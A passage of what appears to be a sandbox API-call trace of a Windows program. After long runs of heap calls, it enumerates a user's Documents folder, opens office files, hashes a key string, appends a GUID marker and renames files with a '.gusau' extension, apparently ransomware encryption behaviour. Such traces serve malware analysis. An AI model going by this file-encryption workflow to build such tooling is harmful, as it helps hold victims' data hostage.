(HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.045] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.046] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.046] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.047] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.047] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.048] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.048] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.049] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.049] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.049] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.049] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.049] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.049] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.049] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.049] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.049] PathFindFileNameW (pszPath="") returned="" [0117.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a4f7980, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a4f7980, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.049] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a4f7980, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a4f7980, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.049] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f83b820, ftCreationTime.dwHighDateTime=0x1d51496, ftLastAccessTime.dwLowDateTime=0xc384ae80, ftLastAccessTime.dwHighDateTime=0x1d4e4f5, ftLastWriteTime.dwLowDateTime=0xc384ae80, ftLastWriteTime.dwHighDateTime=0x1d4e4f5, nFileSizeHigh=0x0, nFileSizeLow=0x174c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="13WDFkzLx13VDvEaH0D.pptx", cAlternateFileName="13WDFK~1.PPT")) returned 1 [0117.049] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\13WDFkzLx13VDvEaH0D.pptx") returned=".pptx" [0117.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\13WDFkzLx13VDvEaH0D.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\13wdfkzlx13vdveah0d.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.050] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=95431) returned 1 [0117.050] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.052] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x174a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.052] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.054] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x174c7, lpOverlapped=0x0) returned 1 [0117.055] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.055] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.055] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.055] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.056] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.056] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.056] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.056] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.056] GetLastError () returned 0x0 [0117.056] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.056] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.057] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x174c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.057] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.057] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.057] CloseHandle (hObject=0x610) returned 1 [0117.058] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\13WDFkzLx13VDvEaH0D.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\13wdfkzlx13vdveah0d.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\13WDFkzLx13VDvEaH0D.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\13wdfkzlx13vdveah0d.pptx.gusau")) returned 1 [0117.059] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abf02f0, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x95c1d8f0, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0x95c1d8f0, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x160ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Q Yden1pX.xls", cAlternateFileName="4QYDEN~1.XLS")) returned 1 [0117.059] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Q Yden1pX.xls") returned=".xls" [0117.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Q Yden1pX.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4q yden1px.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.060] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=90350) returned 1 [0117.060] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.062] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x160c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.062] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.064] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x160ee, lpOverlapped=0x0) returned 1 [0117.065] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.065] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.065] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.065] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.065] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.065] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.065] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.066] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.066] GetLastError () returned 0x0 [0117.066] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.066] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.066] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x160ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.066] lstrlenA 